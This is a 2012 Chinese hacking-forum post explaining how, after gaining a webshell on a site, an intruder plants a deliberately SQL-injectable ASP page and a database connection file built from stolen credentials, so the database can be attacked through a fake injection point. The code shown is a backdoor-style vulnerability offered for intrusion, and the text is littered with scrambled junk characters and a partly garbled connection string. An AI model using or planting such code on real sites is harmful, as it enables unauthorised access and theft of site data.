找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1901|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵. K: \5 F0 C- N( t1 c

) v# K% `- P. W5 f" U( }今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息& \0 H2 E! o, {  o- Z4 @6 l

: _# Z& Z* x" P+ ^. m2 }/ k, r这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
" b' P/ i4 S0 c4 ?6 {' d/ A9 j6 l' m$ Q* z
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和+ o8 u# N9 k! N' K  D  j

  c/ ?" c3 a( s" {1 y6 t# ~密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
6 C! H/ n: |& O, v/ F9 r9 @$ i7 Q' V% g; i, _/ s, G7 E/ F! F; k
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
! g6 }1 l5 c, ?+ u  K8 v1 {! Q% d( P, t  ]. n
程序代码
: L, p4 z2 a% ]0 B$ b<!--#include file="xx.asp"-->3 ]5 `3 j6 k8 [5 y* s7 x
<%
" M6 h; u" d3 d; {8 d5 ^/ Kset rs=server.createobject("ADODB.recordset")/ n3 ?9 u& j! l/ k. Y' O
id = request("id")/ d7 a. ]1 p" `6 T0 C
strSQL = "select * from admin where id=" & id
$ u/ B* X2 @$ {/ b% Vrs.open strSQL,conn,1,3, k0 N) T7 W+ i$ `  b) z
rs.close- x* t" |$ _. G, j/ j( o
%>0 q) S2 x5 Q$ a" v7 W1 K' u0 U$ F
7 z0 k' v! `8 p  `# H
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在! ?: ?& o9 H. d) y2 C+ U% f" F# x
8 t- a/ T  H) `3 |
你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
9 n4 `0 E! ~% |2 K, ^4 q4 `; o$ p8 C
) ^# `8 s- F1 O# R然后就要构造一个连接数据库的文件了,代码如下:& p- w9 @+ y) D1 h, P9 f
程序代码7 l% j/ }; M$ p& w* t+ P
<%        
) |/ a0 i* P: T. T) I9 P. ^strSQLServerName = "000.000.000.000"     '服务器名称或地址
( h5 ?. t7 p- q5 G4 p. wstrSQLDBUserName = "sqlname"         '数据库帐号8 \+ I! j- F' F8 s: e4 ]/ k
strSQLDBPassword = "sqlpass"         '数据库密码% \- t( N. l( S" R9 J3 n
strSQLDBName = "sqldataname"           '数据库名称  m. ]' ?# v4 H0 o
Set conn = Server.CreateObject("ADODB.Connection")$ m4 J9 `4 z& X
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
- W. Q9 G8 I% ]) ~/ bconn.open strCon
' h+ [" Q7 Z5 u! X%>: G; l% L5 L- M

: o+ n% D3 t/ s6 z  L9 K! q) Y( [这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,- i5 l1 o  Y+ r9 H0 b$ E" o3 A
  H% Y4 |5 D2 }
就这样,正常情况下,就OK了,伪造成功……
# K$ b3 O8 Y9 J2 k2 F- G( G' [
! i# Y! d' s' h# t/ {. N           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表